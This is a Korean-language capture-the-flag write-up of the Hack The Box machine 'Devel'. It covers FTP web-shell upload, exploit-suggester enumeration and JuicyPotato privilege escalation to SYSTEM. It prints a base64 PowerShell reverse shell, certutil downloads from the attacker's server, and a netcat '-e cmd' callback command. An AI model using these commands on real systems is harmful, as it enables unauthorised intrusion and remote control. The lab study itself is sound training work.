HTB : https://app.hackthebox.com/machines/Devel?sort_by=created_at&sort_type=desc


Machine IP : 10.129.180.91

초기 침투

[서비스] / [취약점] / [CVE 또는 기법] 요약

21, 80포트 열려있음 FTP 서비스는 익명 접속이 가능하며 PUT, GET 명령어 사용 가능함

MSFvenom으로 리버스쉘 페이로드 생성해 업로드했으나 실패함 put 명령어 사용해 웹쉘 업로드 https://github.com/xl7dev/WebShell/blob/master/Aspx/ASPX%20Shell.aspx  웹쉘 업로드 후, 파워쉘 리버스쉘 연결

https://www.revshells.com/ 에서 파워쉘 #3 (base64) 페이로드 사용함

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQAzACIALAA1ADUANQA1ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

리버스쉘 연결 성공

┌──(kali㉿kali)-[~/utill]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.16.13] from (UNKNOWN) [10.129.180.91] 49174

PS C:\inetpub\wwwroot> ls


    Directory: C:\inetpub\wwwroot


Mode                LastWriteTime     Length Name                              
----                -------------     ------ ----                              
d----         18/3/2017   1:06 ??            aspnet_client                     
-a---         26/4/2026   4:37 ??       5271 cmd.aspx                          
-a---         26/4/2026   4:23 ??          7 devel                             
-a---         26/4/2026   4:30 ??       3483 devel.aspx                        
-a---         26/4/2026   4:25 ??    1069147 devel.png                         
-a---         17/3/2017   4:37 ??        689 iisstart.htm                      
-a---         26/4/2026   4:33 ??       3710 reverse.aspx                      
-a---         17/3/2017   4:37 ??     184946 welcome.png                       


PS C:\inetpub\wwwroot> whoami
iis apppool\web
PS C:\inetpub\wwwroot> 

권한 상승

[misconfiguration 또는 exploit] 요약 whoami /priv, systeminfo, cmdkey /list 실행해 정보 수집

S C:\inetpub\wwwroot> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeShutdownPrivilege           Shut down the system                      Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled
PS C:\inetpub\wwwroot> cmdkey /list

Currently stored credentials:

* NONE *

result.txt 파일은 FTP로 로컬에 다운로드함

binary
get result.txt

FTP로 파일 받을 때 → 항상 binary 모드 먼저 선언해야 함
텍스트 파일이라도 Windows 출력물이면 binary 모드로 다운로드해야 파일 인코딩이 깨지지않음

windows-exploit-suggester 실행 결과, [E] 목록(실제 공개된 익스플로잇 코드가 존재한다는 의미)에 MS10-059가 존재함

┌──(windows-exploit-suggester)─(kali㉿kali)-[~/utill/python2/windows-exploit-suggester-tool]                                
└─$ python2 windows-exploit-suggester.py --database 2026-04-27-mssb.xls --systeminfo result.txt                             
[*] initiating winsploit version 3.3...                                                                                     
[*] database file detected as xls or xlsx based on extension                                                                
[*] attempting to read from the systeminfo input file                                                                       
[+] systeminfo input file read successfully (UTF-16)                                                                        
[*] querying database file for potential vulnerabilities                                                                    
[*] comparing the 0 hotfix(es) against the 179 potential bulletins(s) with a database of 137 known exploits                 
[*] there are now 179 remaining vulns                                                                                       
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 7 32-bit'
[*]                            
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*]   http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*]   http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass 
(MS12-037), PoC
[*]                            
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-015: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (977165) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[*] done                

windows-exploit-suggester 의 최신버전 https://github.com/bitsadmin/wesng 사용해서도 가능

──(kali㉿kali)-[~/htb/devel/priv]
└─$ wes result.txt -o out.csv
Windows Exploit Suggester 1.03 ( https://github.com/bitsadmin/wesng/ )
[+] Parsing systeminfo output
[+] Operating System
    - Name: Windows 7 for 32-bit Systems
    - Generation: 7
    - Build: 7600
    - Version: None
    - Architecture: 32-bit
    - Installed hotfixes: None
[+] Loading definitions
    - Creation date of definitions: 20260423
[+] Determining missing patches 
[!] Found vulnerabilities!
[+] Writing 236 results to out.csv
[-] Missing patches: 113

MS10-059는 Arctic 에서 사용했던 익스플로잇이라서 다른 방식의 권한 상승 시도해 봄

SeImpersonatePrivilege

IIS 권한은 SeImpersonatePrivilege 권한이 할당된 경우가 많음

GodPotato는 실패해 JuicyPotato 사용함

JuicyPotato

JuicyPotato는 SeImpersonatePrivilege 또는 SeAssignPrimaryTokenPrivilege 권한을 이용해 SYSTEM 권한 상승을 시도하는 도구임. 핵심은 어떤 COM 서버(CLSID)가 현재 대상 시스템에서 실제로 작동하는가를 찾아야 함.

clsid.bat 파일은 어떤 COM 서버가 현재 시스템에서 작동하고 있는지 찾아줌 certutil -urlcache -f http://10.10.16.13:8000/clsid.bat clsid.bat

CLSID.list 파일은 clsid.bat 파일이 사용하는 CLSID 리스트여서 같은 경로에 있어야 함 certutil -urlcache -f http://10.10.16.13:8000/CLSID.list CLSID.list

bat 파일 실행하면 result.log 파일에 {CLSID};impersonation에 성공한 계정이 기록됨 NT AUTHORITY\SYSTEM 권한의 CLSID 값을 사용해 쥬시포테이토를 사용해야 함

{98068995-54d2-4136-9bc9-6dbcb0a4683f};IIS APPPOOL\Web 
{90F18417-F0F1-484E-9D3C-59DCEEE5DBD8};NT AUTHORITY\SYSTEM 
{69AD4AEE-51BE-439b-A92C-86AE490E8B30};NT AUTHORITY\SYSTEM

.\juicypotato.exe -l 10000 -p C:\inetpub\wwwroot\nc.exe -a "10.10.16.13 9999 -e cmd" -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}" 실행

루트 권한 및 플래그 획득

막힌 포인트

[열거 누락? 기법 몰랐음? 방향 잘못?] 요약

GodPotato는 윈도우 10 이상부터 사용가능한가 봄

juicypotato 사용법

OSCP Cheat-Sheet 에 정리했음